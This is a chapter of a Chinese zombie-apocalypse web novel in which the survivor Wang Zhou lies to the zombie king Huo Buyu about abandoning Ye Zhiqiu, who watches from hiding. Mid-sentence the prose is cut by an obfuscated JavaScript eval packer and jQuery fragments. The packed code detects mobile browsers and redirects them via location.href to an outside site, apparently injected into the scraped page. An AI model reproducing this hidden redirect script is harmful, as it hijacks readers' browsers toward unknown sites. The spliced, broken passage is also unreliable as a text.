“这，这东西你从哪儿拿的？”汪舟左眼下的肌肉跳动着，他挤出一个难看的笑容，努力想要保持冷静。


    “怎么，你认识？”霍不予没有回答他，而是反问道。


    汪舟：“……”


    他一时不知道如何回答，眼前的男人明显是个很好抱的大腿，如果遇到丧尸，有这种人存在，自己存活的概率能高很多。


    但要怎么抱呢？


    如果对方见过叶只秋并救下她，自己要怎么否认害过那女人？趁着对方没问罪前，先忏悔吗？


    但如果拿到压缩饼干只是凑巧，忏悔不就是多此一举？


    汪舟心中犹豫不决，在霍不予浓黑阴鸷的视线下，他反复斟酌，结巴着吐出一个词：“眼、眼熟。”


    这种模棱两可的答案，是目前他能想到的最好选择。


    “哦。我是在一个丧尸身上看到的。”霍不予轻飘飘回答。


    汪舟心底长舒一口气，刚想随口附和：这样啊……就听霍不予淡淡的声音继续传来。


    “可能它们从什么人身上抢的吧。那丧尸胳膊上都是手指挖过的长痕。”


    “拥有压缩饼干的人在死之前，肯定很努力求生。可惜啊，在众多丧尸面前，多么用力挣扎也是徒劳。”


    “生命就是如此脆弱……”


    汪舟一愣，对面的男人气压很低，面色苍白没什么表情，声音却听起来格外痛心，像是在为同胞的逝去而惋惜。


    这种冰火两重天的情绪，让人有种极致割裂的错觉。


    “是，是啊。”汪舟颤着声音应道。


    “对了，你叫汪舟是吧。”霍不予像是想起了什么，“拿饼干的丧尸嘴巴里喊的两个音节，和你名字很像。”


    汪舟：“！！！”


    末世丧尸都是人类变异而成，虽然变异后它们的思维退化，甚至开始吃人。但语言方面，依然有个别丧尸保留，它们会无意识重复听过的词或句子。


    想到自己把叶只秋关进电梯，砸碎玻璃的操作，他脸色变得惨白。


    不确定那女人死前会喊什么，眼前的大腿是一定要抱的，汪舟面上突然转成一副悲戚模样：“难，难道饼干是小叶的？”


    霍不予眉头微挑，疑惑：“小叶？”


    “是啊。”汪舟捂着脸，声音带着哭腔，“小叶和我是一个地方的幸存者。她被丧尸追的时候，我救了她一命，把她留在身边。”


    “我们躲在一起，抱团取暖。可是没有食物了，小叶是女孩子，一直跟我哭，她很饿。”


    “我没有办法，只能出来找吃的。还把身上最后剩的一点饼干留给她。”


    “但是她拿了饼干后，不愿意留在房间里，一定要跟着我出来。后来大手大脚闹出动静，引来丧尸群。我很努力的在保护她，可是丧尸太多了……”


    “眼看小叶被围住。我为了引走丧尸，主动攻击它们。”汪舟抬头，眼眸赤红，“我大喊大叫，用了所有能想到的办法，只是为了给小叶争取一线生机。”


    “后来，她确实逃出包围圈。却在看到我被丧尸围攻时，头也不回的跑了。”


    汪舟揪着心口的衣服，露出一个悲凉苦笑：“我把她当妹妹，没有想到她如此绝情。”


    汪舟讲述的声音越来越低，最后带着沙哑落幕。


    “哦。原来是这样。”同汪舟激动起伏的情绪相比，霍不予像一座冰山，他无喜无悲的总结道，“遇人不淑。”


    汪舟摇摇头：“不是的，可能因为小叶是女孩子，心智不太成熟。”


    “算了。”汪舟垂眸，看着皱巴的压缩饼干包装，缓缓攥紧掌心，“她也付出惨重代价了。”


    两人交谈的声音并未刻意压低，躲藏在汪舟身后的叶只秋气的两只手都攥紧了拳头。


    啊啊啊啊，原来这就是绿茶男？！


    原来做人可以脸皮这么厚，谎话不打草稿就能说出来！还哭，鳄鱼的眼泪！！呸呸呸！！坏蛋！！


    成长在红旗下，生活在阳光里的叶只秋本人，除了受到工作磋磨外，交友路上基本一帆风顺。汪舟是她二十多年人生经历里，遇到最坏的人。


    叶只秋不明白，为什么有人真的可以毫无芥蒂，用其他人的生命来为自己创造机会。


    坏人！混蛋！垃圾！


    系统：【……】


    家人们谁懂啊，绑定了一个不会骂人的宿主。


    来来回回都是这几个毫无杀伤力的词，真的很想升级后，第一件事就是给她下载本骂人大全，监督每日朗读。


    不然系统都要被气出bug了！！


    “那什么，哥们儿，不知道你怎么称呼。”解决了后顾之忧，汪舟内心轻松很多。


    “哥们儿？”霍不予恹恹抬眼，轻声重复这个称呼。


    “额，不，不是。”汪舟莫名一抖，舌头在嘴里打了个转，“我的意思是大哥！！”


    “你那么厉害，能从丧尸手里拿到饼干，以后能不能带带我？”


    “你看末世里，咱们能遇上也算有缘，不如搭个伴一起求生，也算有个照应。”


    霍不予面无表情，看不出喜怒哀乐。


    幽幽目光罩在汪舟身上，过了许久，才问道：“照应，你能给我什么照应？”


    汪舟一哽，手不自觉摸向腰部。


    他舔了舔干燥的嘴唇，像是下定了什么决心，缓缓拉开拉链。


    “大哥，我只有这些能付出的，给你看也算是掏心掏肺，毫无保留了。”


    霍不予：“拉链拉上吧。”


    角落中，叶只秋看着两人互动的背影，脑袋上一头雾水。


    啥东西啊？怎么拉开个衣服就是付出了？看看肚子算掏心掏肺？？！！毫无保留又是什么意思？？


    汪舟想干什么？难道……


    一个离谱的念头出现在叶只秋脑海：那个绿茶男想色诱自己的员工？！


    清澈的圆眼睁大，如果不是叶只秋还记得自己的埋伏大计，此刻已经忍不住想冲出去了。


    呼呼——给自己做心理建设，平静呼吸。


    叶只秋咬着一口洁白的小米牙，气的脸颊通红。


    幸好当初没有招聘汪舟，这种人人品不行，还爱搞办公室恋情。PASS！PASS！！！


    还有霍不予也真是的，对面有啥可看的，难道比他自己肌肉多吗？能不能提升点审美？以后有机会了，员工福利先给他发面镜子。


    “哼。”霍不予自鼻腔泄出一声微不可闻的轻笑。


    视力极好的丧尸王透过层层遮盖，精准看清叶只秋脸上生动表情。虽然不知道那个小豆丁为什么生气，但表情实在太好笑了。


    “大、大哥？”汪舟一脸懵逼。


    在他的角度，感觉对方一直看着自己。明明上一秒还在冰冷审视，看到怀里投诚的东西后竟然笑、了？这么好糊弄吗？


    虽然不明白，但汪舟很有眼力见，麻利自怀中掏出袋子，举起。


    “大哥，我只找到这一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898303|192313||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个红薯。你喜欢全部给你……我，我还可以饿一段时间。”


    霍不予收回目光，看向伸到眼前不足巴掌大的红薯。


    “……”


    *


    躲开丧尸，蹲在大楼后门的绿化带中，汪舟迟迟没有动作。


    霍不予两手交叉，抱胸懒懒站在一旁：“怎么不挖？”


    “哦，挖。”汪舟回神。


    他徒手拨开长满枯草和变异植物的泥土，将红薯连着塑料袋一起埋了进去，并小心谨慎的填平土坑。


    至于为什么突然跑来挖坑，还要说回几分钟前：


    明明他觉得霍不予对红薯很有兴趣，却在自己给他时拒绝，甚至神色中似乎还带了点不屑。不等汪舟细想，对方又突然转念，让他先收着，并提出去找物资，将来平分。


    汪舟顿时欣喜。


    既然由他保存，那便按照以往的习惯。他通常会在活动范围附近找到有明显标志物的地方，将东西埋起来。


    一是为了减轻重量，二是保持灵活度，三则是预防打劫。虽然第三点现在几乎用不上了。


    “大哥，埋在这里了。”汪舟指着超市对面的广告牌，“就在这个红点的正下方，花坛十步距离。”


    “如果我遇到意外，记得来挖。”汪舟看着霍不予，嘱咐道。


    他露出标志性笑容，看起来阳光又真诚，这是他惯用的手段。末世中食物紧缺，分享如此重要的东西，能很快取得对方信任。


    在埋好的地方铺上杂草，汪舟若有若无瞟向不远处，很快收回目光。


    其实他今天找到的物资不光有红薯，还有其他。受益于良好习惯，提前藏的东西将独属于自己的。而将来……汪舟看向霍不予，笑的愈发灿烂：他将拥有一个长期饭票。


    “坏蛋！笑起来更坏了！”


    叶只秋如同一只小蘑菇，躲在超市拐角阴影处，手指怨念的在墙壁上画圈。


    她虽然时不时脱线，但人完全不傻。如今以旁观者的角度看汪舟，真是一清二楚。


    见到人先示好，然后分享食物，接着邀请一起找物资……查重率99%了喂！


    “大哥，我们去后面看看吧，这家超市的仓库离得不远，末世前囤了很多东西。”汪舟拍掉手上的土，试探建议道。


    霍不予收回落在叶只秋身上的目光，淡淡答应：“行。”


    蹲在远处看小剧场的叶只秋：我就说吧！流程进入第三项。


    听到霍不予答应，汪舟眼睛一亮，转而又忧心忡忡的开口：“但是仓库那边的丧尸很多，我去了好几次都没成功进去。”


    “大哥，你能不能帮忙分散一下丧尸火力？”汪舟摆出一副惴惴不安的神情，“只要给我三十分钟就行。”


    “我熟悉那边的情况，找机会进去，一定可以收获很多东西！”


    “到时候，至少一个月，我们都不用担心吃喝！”


    霍不予面无表情的看着汪舟，并未表态。


    阴郁的气压之下，汪舟感觉自己嗓子干涩，脑中快速回想有没有哪句话说的不对？


    正当他汗流浃背之际，霍不予突然露出个浅笑。


    “一个月的食物吗？可以啊。”


    汪舟瞬间兴奋，不疑有他，详细为霍不予介绍仓库周围情况。用石头在土地上画出平面图，指出几个需要吸引丧尸的点。


    “大哥，你什么时候准备好了，我们去仓库扫荡。”


    “现在就可以。”霍不予幽幽道。